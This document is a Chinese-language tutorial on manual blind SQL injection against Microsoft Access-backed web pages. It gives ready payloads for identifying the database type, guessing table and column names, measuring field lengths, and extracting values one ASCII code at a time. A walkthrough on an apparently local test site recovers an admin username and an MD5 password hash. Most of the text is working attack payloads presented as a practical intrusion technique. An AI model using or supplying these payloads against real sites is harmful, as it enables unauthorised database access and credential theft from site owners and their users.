【手工注入实例】Access注入之逐字猜解法
判断数据库:
and exists (select * from msysobjects)>0 Access数据库 and exists (select * from sysobjects)>0 SQL Server数据库 |
我们一般手注都是用的都是联合查询法,现在教程一般也都是教的联合查询。
这里先说一下两者的区别和优劣之处。↓↓↓↓↓
1.联合查询(简单但是一些复杂注入点不兼容),很多注入点联合查询会报错
2.逐字猜解(比较繁琐但是适用性要好),大部分注入点都可以用
现在注入工具一般都是用的逐字猜解法,所以你会发现工具跑的时候是一个一个字符出来的。
语句是:↓↓↓↓↓↓
获取表名:
and exists (select * from 表名) |
获取列名:
and exists (select 列名 from 表名) |
获取列名的长度:
and (select top 1 len(列名) from 表名)>=5 |
获取 第一位编码:
and (select top 1 asc(mid(列名,位数,1)) from 表)>=97 |
获取 第二位编码:
and (select top 1 asc(mid(列名,位数,1)) from 表)>=100 |
……以此类推……
下面我们在本地搭建的环境中测试一下。↓↓↓↓↓↓
判断是否有注入,大家都会的吧。如果不会我想也没必要看这个了....
一般联合查询是先 order by 字段数,我们这里不需要。看图↓↓↓↓↓↓
and exists (select * from 表名) 获取表名
我们直接猜解admin表,当然,如果不存在会报错或者是空白。只要返回正常就可以。不存在就继续猜解别的表。
得到了admin表,我们来获取列名:语句如下↓↓↓↓↓↓↓
and exists (select 列名 from admin) 获取列名 这里的admin是我们刚才获取到的admin
得到了列名为admin 另外一个是password,就不演示了。猜解就行。
然后我们来判断指定列名的内容长度,也就是admin列的内容长度。看下图:
也就是admin列的长度为5,这个要记住。
下面获取password的内容长度,如下↓ ↓↓↓↓↓↓
我们现在已经获取了admin表下面admin 和password这两个字段
并且知道了admin里面的内容长度是5 password里面的内容长度是16
下一步就是逐字猜解列名里面的内容了。
但是注意的是我们获取的不是明文,而是Ascii码号,这个可以直接从网上对照会有相应的明文。如下图:↓↓↓↓
先从admin的列开始,看看Ascii码是多少。↓
具体方法见图 and (select top 1 asc(mid(列,位数,1)) from 表)>=97 获取指定列的内容长度,位数先从1开始,前面已经获取到admin里面内容长度是5位,现在获取第一位的Ascii码。所以我们语句就是↓
and (select top 1 asc(mid(admin,1,1)) from 表)>=97 后面的>=97 是要根据自己测试的,如图。
admin列名的第一位内容97,我们记录下来。我们继续,然后第二位的语句就是:
and (select top 1 asc(mid(admin,2,1)) from 表)>=未知数
得到admin列名里的内容第一位是97 第二位是100 ......
admin列名剩下的3位就不上图了最后分别是↓
97 100 109 105 110 对
照着上面的Ascii表,内容就是 a d m i n 。 现在我们取得了admin列的内容,然后我们还差password的内容要获取。
由于和上面方法无差别,就不上图了。语句如下↓↓↓↓↓↓↓
and (select top 1 asc(mid(password,1,1)) from 表)>=结果
and (select top 1 asc(mid(password,2,1)) from 表)>=结果
and (select top 1 asc(mid(password,3,1)) from 表)>=结果
................................此处省略几截...............................
and (select top 1 asc(mid(password,16,1)) from 表)>=结果
最后结果为:97 52 56 101 49 57 48 102 97 102 99 50 53 55 100 51
然后把这些Ascii码对着上面的表转换一下。得出我们的密码MD5 a48e190fafc257d3
最后得到账号:admin 密码a48e190fafc257d3
虽然比较繁琐,但是相比联合查询更实用。记下来还是能用到的。